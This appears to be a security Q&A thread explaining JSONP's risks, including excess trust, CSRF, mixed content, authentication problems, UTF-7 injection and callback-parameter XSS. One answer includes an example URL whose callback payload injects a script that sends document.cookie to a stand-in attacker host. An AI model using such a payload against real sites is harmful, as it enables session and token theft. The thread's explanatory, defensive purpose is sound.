What are the security risks with JSONP? Is using JSONP in a new web application reasonable, from a security perspective, or is it better to use a different method for cross-origin web mashups?
If using JSONP is reasonable, what steps should I take to make sure I'm using it securely? If it's better to use something else, what would you recommend instead? (CORS?)
JSONP is a bit dodgy, from a security perspective:
Requires excessive trust. Suppose you have a page hosted on a.com and it uses JSONP to access services provided by b.org. This involves placing 100% trust in b.org. If b.org is malicious or buggy, it can subvert the security of the embedding page and all of the a.com origin. This kind of excess trust is dangerous from a security perspective: it makes your application fragile.
To put it another way: JSONP is basically a self-inflicted XSS. Yes, OK, I know it's a feature, not a bug, but still...
CSRF vulnerabilities. You have to remember to defend against CSRF vulnerabilities, and with JSONP, that gets a bit tricky. Standard advice is to ensure that only POST requests can trigger a side-effect, and to include a CSRF token in all POST requests; but JSONP involves sending a GET request to trigger a side-effect, which ain't exactly the cleanest solution you've ever seen. So this means that the host that provides JSONP service needs to remember to check CSRF tokens even on GET requests. Also, it requires a bit of a tricky protocol for the embedding page (a.com) to obtain the proper CSRF token from the JSONP service (b.org). It gets messy.
Causes mixed-content warnings. Suppose we have a page hosted on https://a.com and it accesses a JSONP service on http://b.org. Then this will inevitably trigger a scary-looking mixed-content warning (since JSONP involving loading a script from http://b.org).
User authentication gets ugly. If b.org wants to authenticate the user, that gets tricky to do when using JSONP. The embedding page (a.com) needs to first somehow give the user an opportunity to log into b.org in advance, before accessing b.org's JSONP service. Both sites need to coordinate.
I don't know whether web developers should be recommended to avoid JSONP for new web applications or not, but these aspects make CORS look pretty tempting.
The callback parameter may be an XSS vector
I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:
http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//
UTF7 injections are possible if charset isn't included
If the header is not Content-Type: application/javascript; charset=utf-8 then UTF7 injections are possible.
Content-Type Selection may have an impact
Content type does affect the HTTP based compression of certain shared web hosts.
There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow
The callback parameter may be a CSRF vector via Flash injection.
